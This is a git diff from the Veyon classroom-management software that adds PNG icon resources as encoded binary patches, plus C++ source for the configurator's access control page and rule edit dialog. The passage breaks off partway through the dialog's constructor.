zoH-umoYL-<%sE`ZarlDVoZpk~n)d#=vCyV4_$bfW1(!YVO*QuS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V_1Ms zh$~Pr5HvJ2I5;?@rKN?2h5{MBzP@g5Za}u5pP#3vXFx!Jx3{;uyL(_@Adm|b^zrfW z_xA@XgGfO{fFw`^C=OH%B)z=6fDE7r1R%44B0v*>0HOs#LIk0z!3rQE5LuvNh!mPG zxHwQ2ZVsFQ(SpfE6M-nhsu)>{csAdL`rE)@Ei4K03ua(sVqs-V3(|DxGT z&jO>@($mE;B;xSfYe%D*5=D+alw{o~9c{Q_H|y@*ySbTl>i+*f#+nmb@viCYoWHg6 z)6@3-d{-!=ANTK!%Mp`zZi&}S8HyQ-Bdsp{XEm6=misPegX(;}l4Fe5ib@p!Fm0H+ zoO`Wd!(FCW4qFD9X)m1q>K+JOsdpugdCrvAP9Jz4Z1NJ<@?%_=RkHAn#DjH#;$7bu z=glfzSit{ar>l68Ipe)srHUK)KHOW#{V%nlKQ8uzEQxDEPOvKf$y#j@Ti6h~Gv%uagV@tq u>3XxCt$OX2cr0j}YuS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|qfvlQ zh$~Pr5HvJ2gocJXI5?!Gr9l|JzP@g5Za}u5pP#3vXFx!JySsZ}U?7kU6!G%%0+K#H zK0swaDIf{t0!bk7_Vxyf0~G)n$RZF0a9uz(a4kS(m|Tb;kc2CPGceTyMc@Eg8AK3M z1g@A2#)|$mdcYt{EeY}qW?*DuW?^OH;Ns@tC(nvE|NpacA3b%lzEz36p+K3T^n# zIaNQFxx#lvO^Wb?RF|jP+ZgAyh3qS0S1@1jX(P{pQ3?LM_VmU)ipikj=T2MS}J?v`ih%L?6R&Rr0&_S0X>hPx|H@!K=!OkMpa zLoQ*j&(q`g8N!~h%>KpT(H2s-i@{*|adU^nWB<+{*vqon^SRorUd#TA^%MVu@BA_2 z+oE00@nQ-4y~;nZbw&Q>J>VHr{)6wT+ueiGum2rP3VSY-`|n|vnD_5vzx@wNT#?-) zdR%AIL+!|;v!?sM;Jdfz<@#OmsnsVZPD(S|FHlp-^mm=Vym{8;e|Im|gA%x>tDnm{ Hr-UW|kF`$} literal 0 HcmV?d00001 diff --git a/configurator/resources/go-up.png b/configurator/resources/go-up.png new file mode 100644 index 0000000000000000000000000000000000000000..60f5c1491a9541758a43d10a8953d3e154f48a33 GIT binary patch literal 960 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V_1Ms zh$~Pr5HvJ2gocJXI5?!Gr2!e9o}NH9km2U$1|dS+f}c~y0DOKW>aXIJmUNzR z@>Od$Zr#3n|KTG?Pn@}M@yhiZH*ep2^z`|QS8v|Fd;j6%=da&?{QUL%&)r{@PXTJOUu&)GfqR6bncYiqt7bvy}=pEV~d-vyU`@?H>S_C$+)!e<= zyFXRvSk~LXTpqRU$9_xSKV0#De&K!DA3H3s#s3$R)A>7FXCM1}vm-y7g+Ek0xSw;= zxni@~vG~72^Va>am#tt~&;I;-xLxz})u%p-x9*wz&1bz=npS+IdT4d5F{A&q@Sj(g z?_F15J@-q0`2F(VwRhr;!uRIi6W{)l`A%#|+}XSXSNeAT71&nWbbD*i|Ee?VrGGJ* zZ=Q5XHRIjNZ_YRV%B~aRe(q8>Z|~)TZ4>7AzpMRS|G>*|zs%iQ{&Ty+gwlJf=Eytk i4J_;EbWxi4gEwPdIk&x*6EN>FFnGH9xvXuS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V?cmU zh$~Pr5TvE0g@%TDdV2c$`T`k#etz!m?ty`U5D{;0?|^^+prDVBkC&GhkO5Q%6!iD^ zN9FuA!-AU}$7)YGG+* z?ds<4;pycU7!(>286A_DoSNR)(%RPEF=gts=`$8BUb1ZYij}KYZ`inL^S13fcJA7< z_w2dz7cO19e&gotJNNFtc=_t}o44;ieEjtJ>$mSee*XIXr@>^6JOcxhxu=U`NW|f{ z({6_g1&XwP_lO9QDs#LdaFAO(*!iOyXVj7N<7pgp0lPPiFAR zp0z0ZF1O&yzXitsZ{B|PyLIY{_kr>AkBdkDy=bF(bdJk>mIeRnwtOwgSrfRdl%pb!4_apzH(Fgk4jY83bflXZtVeC}d-q+K`$M$~~bp!ISd_V^Woa%#S53HSBRO z84n-m6#BsZ;RR!V<9sg%-h!8m{0*=EGyW;&Sl-~z|ADzuHQ{!oWP0P8rzXW0JTwym zIXM_voo}Cdeqe{tg?PqeB@GM#Vex7=naoNWd=+vFgPk1?XY*Iw+_0xd>DcwYi8mR4 z@W@2{i%Da6_J)C*A^6(kGG@c!r3JzPW}%3?`QvrzJ@?`Y@~C7Z;qEv2y2y zIZGcMmYaV1asTpjv(?Q73zsz7ew{S6TFK9}_QuP9xn8>_7)~^d-g~xW!)n)Hmm{(< pr=G3P+Pb=?tniMm?bnp`_7^8Hu&m5}Z4N3AJYD@<);T3K0RXC5(FOnj literal 0 HcmV?d00001 diff --git a/configurator/resources/media-playback-start.png b/configurator/resources/media-playback-start.png new file mode 100644 index 0000000000000000000000000000000000000000..1a5aa9e3b0fb4dd92695f1489225ad73416c552f GIT binary patch literal 297 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0J3?w7mbKU|e=3*z$5DpHG+YkL80J)q69+AZi z4Cb*Q%qZF524pZumbgZg1m~xflqVLYGL)B>>t*I;7bhncr0V4trO$q6BL!3>9pDq< z3Z&iK-2DCh{rvoVQ329 zg+}HJ;f!U|dqY?oTST^K3ItpT^zm?XS5RaFVdQ&MBb@0H(-W-2eap literal 0 HcmV?d00001 diff --git a/configurator/resources/media-playback-stop.png b/configurator/resources/media-playback-stop.png new file mode 100644 index 0000000000000000000000000000000000000000..5d0113ad1ab5ba77e36d2b56eb854680720e030d GIT binary patch literal 198 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0P3?wHke>@jRF&8^|hH!9j+(yEr+qAXP8FD1G)j8!4b7wg8_H zS0L@{>pNloYD*xCu_VYZn8D%MjWi%f)zif>L}Oxd!UC}${A@oY+9?0<_6^Y`S}4wfQ-PvKp+Fi_44upl0H5@KrWCS z5D?()?G5BY#DN-tTz`LmI0GmJR1Z-D6o*Iw1%V2HY={)ZK%fW^K-6Qhfogz)5E3E_ zR|8}~41_ZvT)1MmEV353Vl+Vr7orzUBSZ>L!p(<^5XlJt5V#E(=+z}be!&ckOe}2d z99-NyynOt^qT&)#(lYW2N~&t=8k$<#I=cFX#%AVLHV#fMuI?Vb{sDoZVUcn1$th`h z`GqCrRn;|h^{pM9{S&55pD}yx{KZR`Enm56H7g6%@}i76(BGdKD! z^;I&SJVk899j~<=EK|iaH#1GSvgyW`f1fK0do9jeGoQH-e$Fv^HgoX#kM>(4i^7~w zS52~+^2V{-t!T}yeeGdij`L?&bbLRoTf5O^@})(5;x^^ex52|V(WN2#*e1Ug^$J|kH07Q{MjF9sWOX=+917-g-f+n*bK2)aORBrmW=rMh z1axGtxOgvcM*Ccbr8~sig1x6OZFqb#=u}If=()gCRSDU%x=dEt1sk$f*Q$Ey2Yj6r z6zML@>GgPp)bcGYRczlhzbriEo_N21*R;%Ojf&ozRbEN!TvlOpZc=;dXtKd!vbupw zhEc!UuFp1Q!fnwu+lr-lZ4-PKGPm_HWjkd&((SKtJZsf|i3!|`QYrQ!5TD7+Xavt7zF@DPrV>azopr0Kq-L A3jhEB literal 0 HcmV?d00001 diff --git a/configurator/resources/vcs-conflicting.png b/configurator/resources/vcs-conflicting.png new file mode 100644 index 0000000000000000000000000000000000000000..0d7885c5beef37f28aebfa68da2f9b3d9e9adb75 GIT binary patch literal 1171 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|qf3BK zh$~R>|IpC=4i0CG)2@bw-uCpo?~w4=GW40R??t!Rs}7-8-9xWC2i|muyzLo!%{}Ob ztKUth(Ay3{cijAMxdh*K3INL9a16ca7JSDo^oDEjP3NFnZo#)*f^NA4-3BsTgKoQo z+;k4U=?WAH0gB&t0jdFUZ-T{dfyF^aIS1W#4FNK4xdww&Is-`{8>kB;brWbZP$N(T zf}FuBLAC%zKxV?kVGO7;BrPCgAqb)i&c)8S?HzT;H~L{_>7$&AN4b@skDT~?U7-l zyKwu?-Fx>RJbd){<*V0k-oAVP@zduoKYsq=yba4!cIQ({cWb`cu5r^ik zMT;&Sebn?QNJDJpwQCD@tQXxP$|8PbHOpGBPyg?K4W4;M<$D@i?N_^}%;!93oQZY2 ze6P7@nupTfdAhM7UN^s%C|$ZFbJuKV5tq{(9sezwkN2)rc6gMr%boN6EL~>7r!)O5 z?LUg!JW7aZ+Ww!#Q-^KOkA7=~-nRm0zyD`!y}=*+$3bq&qYvEY>Q6K#{rTOp?mnN! z@oDmcFW$U9{aVT`^nd)u*YSCEm!9S83LA#JzBV_v!|JC)-(%e)A5KKid3a!_dOGX9 z+=@q)&R$QN)0N(v?D;Tfp-$Sh{$u+2YuskEot0Mm{bSk3o8^lCBmafH&viaqS|1nv z;Pv6~cZqk|rm#yqX3>6-s8A8{=+%AB3v6BO$@0QI7IBjK3Y86tY91D5yxU(a^ZX=` z-o$!++vfR=&m7a6cqd5Tu~}ot7{oD$t)*Q@Si~{yK!t{ZBdZGAl=kAz1$m0QrNl*4 zZ4xyq^pfsw>@Z#LdS}9?6$k5jGcEfipUr%5`}MY>9!{kve|?$P8k{%uSh{&e{gOuS z^xT=xGM(ApYDN52;0fHbBIzr$>67T6n{4jZM9!aND#m%7G>Y_+PloQz1QOQE9G-)W{)xypDJqKZtu^0 zczAnn<*aX&;jQOeUj~|PS^DAs?>%j)`%7+I`#Y)9cGvrzHH$wnJ1dmBJzRd0Z>h1j zLF9oCe?qqZT9}>lGGdAM%#7?}cJuoMG4Z#x!?cd>4Yf6UQf<$1`6I)n*>jqd_D)X$ PCT0dtS3j3^P6uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|V_1Ms zh$~QW=&DeM{SC%v(zLHOsNBv~*xz7ztPsf6yI7)qHB0+gp~lH<<1@vE=W>nD6d0Z> z)4x!tcOqBkRFUrKLY*_E`X`I@PUq{MDb_t(taGl=;8ecenS8yoMFwXI^v)LQodzk> zJyW26wov~pPz1!)KU1WC1}t?3C0hIy8A%driK#a2m`XF%-8)%yD8K7RE zMi2vtK<0zgL-c~!Kv}Q}1z>TAECCW^4mM3X!j z=kdk~Pqs{dwqx$|Jqus#Kl}OaxzG2`f4+C=%Y$oQAHVGPK#KY#IYXI3*X zFj;uIIEF+VemnhUxUiu}d+>rNktI7q7X*}bFKyxq{^shS*?pmP={0U83$8As|Npu9 z=cG-VSv}eM{hxVNMW1RXd#a!875J`rdCEDlu&%55U$Y9APVhB%T^!ve*6(oo;h_X> z>H10f%#%Jx9P|IdOvCV z&sO)#&OEa9m&*Ees_OI;(ZkZYf2Z%cja$j~s%@?7S=bd>t_%Gedgx&%WAb!`IUIB=Jn$h8=2l1sggz*G%^QJRw!oM?U+@)M>j; zUv<*-*zfWgT~Bvxy;1gPT9xhQ+&TN~ezz)4ROeo|_>S|nxl47!ovy#Xk^FDz>iT~U z%U2iAe3l`;J>vX|&3htOUe})Oea@rY=T7?>-Ij;5w;40vl?NtP22WQ%mvv4FO#u3l BAbtP< literal 0 HcmV?d00001 diff --git a/configurator/resources/vcs-removed.png b/configurator/resources/vcs-removed.png new file mode 100644 index 0000000000000000000000000000000000000000..733cc76218744f66437fa0c730edd2b3fed095e6 GIT binary patch literal 961 zcmeAS@N?(olHy`uVBq!ia0vp^4j|0I3?%1nZ+ru!n2Vh}LpV4%Za?&Y0OWEOctjR6 zFqp@JFr#FH8<4>uS>hT|5}cn_Ql40p%1~Zju9umYU7Va)kgAtols@~NjT8d|qildr zh$~R>s#U8R8X9KKoCzc+O`0@+{`|haJ|MTdyL;-?sX+FWDN}%4pj3Z<|K!P&r%#^_ zWCNw9O`8T}0A(jkm;e-?IB_D71d0PifZ`AU6ajJ}Bv1sI4HN{5AS-}~K-3^hLD)bN z!T>5m23Q3l3Lr)yD+aPL)nirm|Nnnx2ji2#0E#UM@(X5QW?^Mx=iubx<`EJW5tWpZ zmXTFbR#Vq7HZe7~@b>ld4+sn@C@d;&Xl!b3X>IG6IBClC88c_kS+sK1+I9O696EgZ z?70iK@7%q2|G~pYk6*re{pRhv_a8rf{_^AJFFx+fYG914^>lFzi8%ardSvh+0}0o| z%T{RYSk$qmNkL(UXsVz{fQE*3$JfvQ|MSGp@Zt8H-C|cHC;4t><}Ll5jv2h7tL-PQ z-{!Xe)QZrv>VLxaZLy7-*VN{znUvo5K9$WOVZy!CuKed|4vEw58l7{ub8Pp!p|G!z zo6W}h>nCp3<|@CpzU6bb!(-^ImX zTf#wBj)#YvT4pHpvHB-5adO8!-~Y$Z=zldUcZ#7SH+Nf7lbx7GQj`2=7H#`Or@D81 z%0AOw>(L)kpsLo9*ck6qkao{v@uZFg3U#Y==IbiW&N{#B-n7eqnwIQj=RWm`D=1BV zoyHk;4ju6p_IZC~S3bIO^K<@^u4bDvr!N#u&YrdX^t9zyZCd*7MSj{eJucMNwC#EM z>#3>ji8rUou+`e$xE8yw;bZH;nG4SyHQ9QyB)xFyuOmNw-))HB<#cqTnXMK}ZjHG4 r>B^W@Chc8DIr}^e=d-R|_=$hHOkMQ((=lPd6vE)?>gTe~DWM4f56{HK literal 0 HcmV?d00001 diff --git a/configurator/resources/veyon-configurator.png b/configurator/resources/veyon-configurator.png new file mode 100644 index 0000000000000000000000000000000000000000..b79b457ac129138ad8b7633ef5d1851320e1a813 GIT binary patch literal 1828 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H3?#oinD`S&F&8^|hH!9j+(yEr+qAXP8FD1G)j8z}|`CaVCS z5LcjL2M33=w6xIBP)|?KgoFej0|){G10y3Nkr_cjK@kxVK#}n9@ZjKJkfP8~2qPpU zBrGfp$VDR|;y@B81t%eD;95YYfHguy;IcqLxEeSEmmtUpx&WZ_fPnxEnW(6!=;-K} zn3&ku*tobjV7MhFCMG2%rKF?)12ZEdBP%N_J3BikCnq;IH!m-*prD|zu&|`0q_niO ztgNh|p`od%simc*t*x!Sy}hrmufM;4!h{JECr+F)Wy;j4Q>RUvHfz?bxpU{vpFe-W zf(45gFJ886*@_h_R;^mKX3d(lYuBz{zkb7p4I4LZ+_Y)a)~#E2?AWnu*RI{WckkJ= zXYby<`}XZSaNxj+6DQ7|J$vrlxl5NWUAc1Q+O=ypZrr$a>(=etx9{A!bN~MR2M-=R zeE9IuqeoAkJbCu)+3VM@-@JMA{{8z8A3l8i`0>-HPhY=&{qf_+&!0bk{rdI$_wPS{ z{`~#>_us#N|NsAIn05IoF!iLA1o;Isu&}bRb8rd?i-?MeOGrvdE32yO>bbhPd-(bV z1O|tOMI@x8rDtSjW#{Aa^)Iw(Zz=;Na0?$4{I*b>`fK zYu9hwy!GhulQ(bQefaq4^OvtbfBpXRZ{OGV62R2|#?!?yL_+fI!Pm~gsWR*z=JPdi zv?a|D@tiR;N&Jckr;aJJr;nGGr1gY1(T1_Ju0|xKa?L6WeiUS}#hUR_@5Ppb@9VP* z=50QB^W2-GmGi=%e^zWi{II}6hOhmwU8L$(_E{!xPjH*Qj#(1-uvku|;@b|-wQpo| zBiwG!^X1yfujIOS_7u%LH>tBnmvsC#U2^q}n(DjEhSpy>L5b`-xyr0uw-ZiAJAAV3 z=gIQirNeKOQ8+P2^+bm3-}r!@GYceUIvN@^C#A3*J;Bp8QBp+NSi`MM)6p&4(`-7s zRn*Lle?{(v>zwUePP5*Ac`)MC>qcSkf0XDXmwWbK&fA3q>m-r>5l{ zDuuFb2kk{3rzSPmNl1lHlJP$*FzboP_T32;la@p*b^Kv*DAQ+d^MlgKJi8TJl;&Iu z5pRiAamY~A9Ff;e>*nQ5f8YF0 z?e(+zzt1jT?y&xR^Q)oQp$k7hoydE7fpyWI2k+OPPv}gzZ=&D9wm@5Xcc^oD=i`67 z{+RjviT5dt;V%hIG3Q8pHZyy!fF4hMy_{2m!m%1=Geu*LWSeh-Jbz`%dE4G`%C-8Q z;5qa~*PbW+xn-Unhx7At!5b}S6l(gGXzy7e?irpaY}8z^Tbfh6;-b2Tg*D&o36d=@ zUx-TlsV}{wes#(h@wqzU$+n7oIOpoyhzC zbAfc?;X6k>?oW@et$y8KY1Xpv^V5lM`JBYNHZHxXP*R$*Usr(bW{`c$@so9yQYHU5 zw;9~yoNL~$vZCpN>CsGIRz(|UBatkDbH0UA|4W=RbQLt`H7Qyg)I8Q~VB=V{Ca2|~ zy};wtwBOc=7F(KBG_zct3RF&UUMvvc)Lrd4tKE8n$cvpHt5eF%jI8by3wg@&PjZni zG~eg$xr+Dr#K7apDv_DmMjvckE{U2Ry0q}>k^^09<(4cB-Q~gi-H%suk2SZ)+&O2z z+UY!8eS3~`*Hhb|t=nJre*1QP_P2LhyQhP)A}~j${N#UhrM7Y99nNZCIm6)T>gTe~ HDWM4fwIo29 literal 0 HcmV?d00001 diff --git a/configurator/src/AccessControlPage.cpp b/configurator/src/AccessControlPage.cpp new file mode 100644 index 0000000..7ba6392 --- /dev/null +++ b/configurator/src/AccessControlPage.cpp @@ -0,0 +1,293 @@ +/* + * AccessControlPage.cpp - implementation of the access control page + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AccessControlPage.h" +#include "AccessControlRule.h" +#include "VeyonCore.h" +#include "VeyonConfiguration.h" +#include "AccessControlProvider.h" +#include "Configuration/UiMapping.h" +#include "AccessControlRuleEditDialog.h" +#include "UserGroupsBackendManager.h" + +#include "ui_AccessControlPage.h" + +AccessControlPage::AccessControlPage() : + ConfigurationPage(), + ui(new Ui::AccessControlPage), + m_accessControlRulesModel( this ), + m_accessControlRulesTestDialog( this ) +{ + ui->setupUi(this); + + if( VeyonCore::userGroupsBackendManager().accessControlBackend() == nullptr ) + { + QMessageBox::critical( this, + tr( "Missing user groups backend" ), + tr( "No default user groups plugin was found. " + "Please check your installation!" ) ); + qFatal( "AccessControlPage: missing default user groups backend" ); + } + + const auto backends = VeyonCore::userGroupsBackendManager().availableBackends(); + for( auto it = backends.constBegin(), end = backends.constEnd(); it != end; ++it ) + { + ui->accessControlUserGroupsBackend->addItem( it.value(), it.key() ); + } + + ui->accessControlRulesView->setModel( &m_accessControlRulesModel ); + + updateAccessGroupsLists(); + updateAccessControlRules(); +} + + + +AccessControlPage::~AccessControlPage() +{ + delete ui; +} + + + +void AccessControlPage::resetWidgets() +{ + FOREACH_VEYON_ACCESS_CONTROL_CONFIG_PROPERTY(INIT_WIDGET_FROM_PROPERTY); + + m_accessGroups = VeyonCore::config().authorizedUserGroups(); + + updateAccessGroupsLists(); + updateAccessControlRules(); +} + + + +void AccessControlPage::connectWidgetsToProperties() +{ + FOREACH_VEYON_ACCESS_CONTROL_CONFIG_PROPERTY(CONNECT_WIDGET_TO_PROPERTY) +} + + + +void AccessControlPage::applyConfiguration() +{ + VeyonCore::userGroupsBackendManager().reloadConfiguration(); + + resetWidgets(); +} + + + +void AccessControlPage::addAccessGroup() +{ + const auto items = ui->allGroupsList->selectedItems(); + + for( auto item : items ) + { + m_accessGroups.removeAll( item->text() ); + m_accessGroups += item->text(); + } + + VeyonCore::config().setAuthorizedUserGroups( m_accessGroups ); + + updateAccessGroupsLists(); +} + + + +void AccessControlPage::removeAccessGroup() +{ + const auto items = ui->accessGroupsList->selectedItems(); + + for( auto item : items ) + { + m_accessGroups.removeAll( item->text() ); + } + + VeyonCore::config().setAuthorizedUserGroups( m_accessGroups ); + + updateAccessGroupsLists(); +} + + + +void AccessControlPage::updateAccessGroupsLists() +{ + ui->accessGroupsList->setUpdatesEnabled( false ); + + ui->allGroupsList->clear(); + ui->accessGroupsList->clear(); + + const auto backend = VeyonCore::userGroupsBackendManager().accessControlBackend(); + const auto groups = backend->userGroups( VeyonCore::config().domainGroupsForAccessControlEnabled() ); + + for( const auto& group : groups ) + { + if( m_accessGroups.contains( group ) ) + { + ui->accessGroupsList->addItem( group ); + } + else + { + ui->allGroupsList->addItem( group ); + } + } + + ui->accessGroupsList->setUpdatesEnabled( true ); +} + + +void AccessControlPage::addAccessControlRule() +{ + AccessControlRule newRule; + newRule.setAction( AccessControlRule::ActionAllow ); + + if( AccessControlRuleEditDialog( newRule, this ).exec() ) + { + VeyonCore::config().setAccessControlRules( VeyonCore::config().accessControlRules() << newRule.toJson() ); + + updateAccessControlRules(); + } +} + + + +void AccessControlPage::removeAccessControlRule() +{ + QJsonArray accessControlRules = VeyonCore::config().accessControlRules(); + + accessControlRules.removeAt( ui->accessControlRulesView->currentIndex().row() ); + + VeyonCore::config().setAccessControlRules( accessControlRules ); + + updateAccessControlRules(); +} + + + +void AccessControlPage::editAccessControlRule() +{ + QJsonArray accessControlRules = VeyonCore::config().accessControlRules(); + + int row = ui->accessControlRulesView->currentIndex().row(); + + if( row >= accessControlRules.count() ) + { + return; + } + + AccessControlRule rule( accessControlRules[row] ); + + if( AccessControlRuleEditDialog( rule, this ).exec() ) + { + accessControlRules.replace( row, rule.toJson() ); + + modifyAccessControlRules( accessControlRules, row ); + } +} + + + +void AccessControlPage::moveAccessControlRuleDown() +{ + QJsonArray accessControlRules = VeyonCore::config().accessControlRules(); + + int row = ui->accessControlRulesView->currentIndex().row(); + int newRow = row + 1; + + if( newRow < accessControlRules.size() ) + { + const QJsonValue swapValue = accessControlRules[row]; + accessControlRules[row] = accessControlRules[newRow]; + accessControlRules[newRow] = swapValue; + + modifyAccessControlRules( accessControlRules, newRow ); + } +} + + + +void AccessControlPage::moveAccessControlRuleUp() +{ + QJsonArray accessControlRules = VeyonCore::config().accessControlRules(); + + int row = ui->accessControlRulesView->currentIndex().row(); + int newRow = row - 1; + + if( newRow >= 0 ) + { + const QJsonValue swapValue = accessControlRules[row]; + accessControlRules[row] = accessControlRules[newRow]; + accessControlRules[newRow] = swapValue; + + modifyAccessControlRules( accessControlRules, newRow ); + } +} + + + +void AccessControlPage::testUserGroupsAccessControl() +{ + QString username = QInputDialog::getText( this, tr( "Enter username" ), + tr( "Please enter a user login name whose access permissions to test:" ) ); + + if( AccessControlProvider().processAuthorizedGroups( username ) ) + { + QMessageBox::information( this, tr( "Access allowed" ), + tr( "The specified user is allowed to access computers with this configuration." ) ); + } + else + { + QMessageBox::warning( this, tr( "Access denied" ), + tr( "The specified user is not allowed to access computers with this configuration." ) ); + } +} + + + +void AccessControlPage::testAccessControlRules() +{ + m_accessControlRulesTestDialog.exec(); +} + + + +void AccessControlPage::modifyAccessControlRules(const QJsonArray &accessControlRules, int selectedRow) +{ + VeyonCore::config().setAccessControlRules( accessControlRules ); + + updateAccessControlRules(); + + ui->accessControlRulesView->setCurrentIndex( m_accessControlRulesModel.index( selectedRow ) ); +} + + + +void AccessControlPage::updateAccessControlRules() +{ + m_accessControlRulesModel.reload(); +} diff --git a/configurator/src/AccessControlPage.h b/configurator/src/AccessControlPage.h new file mode 100644 index 0000000..b8a13b4 --- /dev/null +++ b/configurator/src/AccessControlPage.h @@ -0,0 +1,74 @@ +/* + * AccessControlPage.h - header for the AccessControlPage class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef ACCESS_CONTROL_PAGE_H +#define ACCESS_CONTROL_PAGE_H + +#include "AccessControlRuleListModel.h" +#include "AccessControlRulesTestDialog.h" +#include "ConfigurationPage.h" + +namespace Ui { +class AccessControlPage; +} + +class AccessControlPage : public ConfigurationPage +{ + Q_OBJECT +public: + AccessControlPage(); + ~AccessControlPage() override; + + void resetWidgets() override; + void connectWidgetsToProperties() override; + void applyConfiguration() override; + +private slots: + void addAccessGroup(); + void removeAccessGroup(); + void updateAccessGroupsLists(); + + void addAccessControlRule(); + void removeAccessControlRule(); + void editAccessControlRule(); + void moveAccessControlRuleDown(); + void moveAccessControlRuleUp(); + + void testUserGroupsAccessControl(); + void testAccessControlRules(); + +private: + void modifyAccessControlRules( const QJsonArray& accessControlRules, int selectedRow ); + void updateAccessControlRules(); + + Ui::AccessControlPage *ui; + + QStringList m_accessGroups; + AccessControlRuleListModel m_accessControlRulesModel; + + AccessControlRulesTestDialog m_accessControlRulesTestDialog; + +}; + +#endif // ACCESS_CONTROL_PAGE_H diff --git a/configurator/src/AccessControlRuleEditDialog.cpp b/configurator/src/AccessControlRuleEditDialog.cpp new file mode 100644 index 0000000..f3fc27b --- /dev/null +++ b/configurator/src/AccessControlRuleEditDialog.cpp @@ -0,0 +1,167 @@ +/* + * AccessControlRuleEditDialog.cpp - dialog for editing an AccessControlRule + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "AccessControlRuleEditDialog.h" +#include "AccessControlProvider.h" + +#include "ui_AccessControlRuleEditDialog.h" + +AccessControlRuleEditDialog::AccessControlRuleEditDialog(AccessControlRule &rule, QWidget *parent) : + QDialog(parent), + ui(new Ui::AccessControlRuleEditDialog), + m_rule( rule ), + m_subjectNameMap( { + { AccessControlRule::SubjectAccessingUser, tr( "Accessing user" ) }, + { AccessControlRule::SubjectAccessingComputer, tr( "Accessing computer" ) }, + { AccessControlRule::SubjectLocalUser, tr( "Local (logged on) user" ) }, + { AccessControlRule::SubjectLocalComputer, tr( "Local computer" ) }, + } ) +{ + ui->setupUi(this); + + AccessControlProvider accessControlProvider; + + // populate user subject combobox + ui->isMemberOfGroupSubjectComboBox->addItem( m_subjectNameMap[AccessControlRule::SubjectAccessingUser], AccessControlRule::SubjectAccessingUser ); + ui->isMemberOfGroupSubjectComboBox->addItem( m_subjectNameMap[AccessControlRule::SubjectLocalUser], AccessControlRule::SubjectLocalUser ); + + // populate computer subject comboboxes + ui->isLocatedInRoomSubjectComboBox->addItem( m_subjectNameMap[AccessControlRule::SubjectAccessingComputer], AccessControlRule::SubjectAccessingComputer ); + ui->isLocatedInRoomSubjectComboBox->addItem( m_subjectNameMap[AccessControlRule::SubjectLocalComputer], AccessControlRule::SubjectLocalComputer ); + + // populate groups and rooms comboboxes + ui->groupsComboBox->addItems( accessControlProvider.userGroups() ); + ui->roomsComboBox->addItems( accessControlProvider.rooms() ); + + // load general settings + ui->ruleNameLineEdit->setText( rule.name() ); + ui->ruleDescriptionLineEdit->setText( rule.description() ); + + // load general condition processing settings + ui->ignoreConditionsCheckBox->setChecked( rule.areConditionsIgnored() ); + ui->invertConditionsCheckBox->setChecked( rule.areConditionsInverted() ); + + // load condition states + ui->isMemberOfGroupCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionMemberOfUserGroup ) ); + ui->hasCommonGroupsCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionGroupsInCommon ) ); + ui->isLocatedInRoomCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionLocatedInRoom ) ); + ui->isLocatedInSameRoomCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionLocatedInSameRoom ) ); + ui->isLocalHostAccessCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromLocalHost ) ); + ui->isLocalUserAccessCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromLocalUser ) ); + ui->isSameUserAccessCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromAlreadyConnectedUser ) ); + ui->noUserLoggedOnCheckBox->setChecked( rule.isConditionEnabled( AccessControlRule::ConditionNoUserLoggedOn ) ); + + // load selected condition subjects + ui->isMemberOfGroupSubjectComboBox->setCurrentText( m_subjectNameMap.value( rule.subject( AccessControlRule::ConditionMemberOfUserGroup ) ) ); + ui->isLocatedInRoomSubjectComboBox->setCurrentText( m_subjectNameMap.value( rule.subject( AccessControlRule::ConditionLocatedInRoom ) 